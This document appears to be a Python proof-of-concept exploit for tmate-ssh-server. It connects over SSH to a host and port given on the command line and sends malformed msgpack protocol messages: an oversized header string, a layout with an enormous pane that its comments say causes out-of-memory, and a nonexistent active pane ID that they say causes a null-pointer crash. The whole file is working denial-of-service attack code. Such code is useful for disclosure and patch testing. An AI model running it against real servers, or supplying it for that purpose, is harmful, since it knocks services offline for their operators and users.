#!/usr/bin/python3

import argparse
import random
import subprocess
from enum import IntEnum

import msgpack

parser = argparse.ArgumentParser()
parser.add_argument("server", help="hostname of tmate-ssh-server")
parser.add_argument("port", help="port number of tmate-ssh-server", type=int)
parser.add_argument("--send-long-header", action='store_true')
parser.add_argument("--allocate-gigantic-pane", action='store_true')
parser.add_argument("--send-bad-pane-id", action='store_true')

args = parser.parse_args()

ssh = subprocess.Popen(
    ["ssh", args.server, f"-p{args.port}", "-s", "tmate"],
    stdin=subprocess.PIPE
)

pipe = ssh.stdin

Command = IntEnum(
    'Command',
    [
        "HEADER", "SYNC_LAYOUT", "PTY_DATA", "EXEC_CMD_STR", "FAILED_CMD",
        "STATUS", "SYNC_COPY_MODE", "WRITE_COPY_MODE", "FIN", "READY",
        "RECONNECT", "SNAPSHOT", "EXEC_CMD", "UNAME"
    ],
    start=0
)


def sendmsg(args):
    msg = msgpack.packb(args, use_bin_type=True)
    pipe.write(msg)
    pipe.flush()


if args.send_long_header:
    sendmsg([Command.HEADER, 500, "funny_version" * 10240000])
else:
    sendmsg([Command.HEADER, 500, "funny_version"])

# large uname info is also possible
#sendmsg([Command.UNAME, "my system" * 1000, "my node" * 1000, "my release" * 1000, "my version" * 1000, "my machine" * 1000])

# this causes a nice OOM without us even having to allocate memory
if args.allocate_gigantic_pane:
    sendmsg([Command.SYNC_LAYOUT, 10000, 10000, [[1, "funpane", [[1, 100000000, 100000000, 0, 0]], 1]], 1])

# this causes a SIGSEGV by attempting to dereference a null pointer, because the active window pane ID is not existing
if args.send_bad_pane_id:
    sendmsg([Command.SYNC_LAYOUT, 10000, 10000, [[1, "funpane", [[1, 10000, 10000, 0, 0]], 0]], 0])
#sendmsg([Command.SYNC_LAYOUT, 10000, 10000, [[1, "funpane", [[1, 1024, 1024, 0, 0]], 1]], 1])

sendmsg([Command.READY])

# testing PTY data loop
#while True:
#    sendmsg([Command.SYNC_LAYOUT, 10000, 10000, [[1, "funpane", [[1, random.randint(0, 1024), random.randint(0, 1024), 0, 0]], 1]], 1])
#    sendmsg([Command.PTY_DATA, 1, "fun stuff\n"])

pipe.close()
ssh.wait()